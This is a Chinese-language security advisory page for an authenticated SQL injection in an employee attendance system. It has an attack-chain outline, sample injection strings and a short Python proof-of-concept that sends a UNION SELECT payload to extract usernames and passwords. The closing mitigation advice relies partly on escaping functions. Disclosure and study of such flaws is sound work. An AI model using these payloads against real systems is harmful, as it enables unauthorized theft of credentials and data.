CVE-2026-37595 CVSS 2.7 低危

CVE-2026-37595: SourceCodester员工考勤系统SQL注入漏洞

披露日期: 2026-04-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-37595

漏洞类型

SQL注入

CVSS评分

2.7 低危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

SourceCodester Online Employees Work From Home Attendance System

漏洞概述

SourceCodester Online Employees Work From Home Attendance System v1.0版本被发现存在SQL注入安全漏洞。该漏洞源于系统在/wfh_attendance/admin/manage_employee.php文件中未能正确处理用户提供的输入数据。由于缺乏有效的过滤机制，拥有高权限的攻击者可以通过构造特定的恶意SQL查询语句，操纵后端数据库执行非预期的命令，进而可能导致敏感数据泄露。

技术细节

该漏洞属于典型的SQL注入漏洞，具体发生于管理员端的员工管理模块。在源文件`/wfh_attendance/admin/manage_employee.php`中，应用程序直接接收用户提交的参数，并将其动态拼接到SQL查询语句中，未实施有效的输入验证或使用参数化查询。攻击者必须拥有管理员级别的权限（PR:H）才能访问此漏洞接口。利用过程中，攻击者可以通过在HTTP请求参数中注入恶意SQL语法（如单引号闭合、UNION SELECT语句），欺骗后端数据库执行非授权操作。虽然权限要求较高，但一旦利用成功，攻击者即可读取数据库中的敏感信息（C:L），甚至可能绕过某些逻辑限制，对系统安全构成威胁。

攻击链分析

STEP 1

侦察与身份验证

攻击者首先确认目标系统使用SourceCodester员工考勤系统，并获取管理员账户权限（PR:H）。

STEP 2

漏洞定位

攻击者访问管理员后台的员工管理页面（/wfh_attendance/admin/manage_employee.php），并分析HTTP请求参数。

STEP 3

构造Payload

攻击者在识别出的参数（如员工ID）中注入SQL语句（例如：' OR 1=1-- 或 UNION SELECT），尝试绕过应用层逻辑。

STEP 4

执行利用

将构造好的恶意请求发送至服务器，后端数据库执行注入语句，攻击者根据回显或错误信息获取数据库敏感内容。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL configuration
url = "http://target.com/wfh_attendance/admin/manage_employee.php"

# SQL Injection Payload (Example: checking for time-based blind or union based)
# Note: The actual parameter name needs to be confirmed via source code or proxy analysis.
payload = {
    "id": "1' UNION SELECT NULL, username, password, NULL, NULL FROM users-- -"
}

# Send POST request with the payload
response = requests.post(url, data=payload)

if response.status_code == 200:
    print("[+] Request sent. Analyze response for potential data extraction.")
else:
    print("[-] Failed to connect to target.")

影响范围

SourceCodester Online Employees Work From Home Attendance System v1.0

防御指南

临时缓解措施

建议立即部署Web应用防火墙（WAF）以拦截针对SQL注入特征的攻击流量。作为临时缓解方案，管理员应限制对`/wfh_attendance/admin/manage_employee.php`文件的访问来源IP，并对现有代码进行手动修补，确保所有入参在进入数据库查询前经过`mysql_real_escape_string`或类似函数的处理，同时加强对管理员账户的安全管理。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表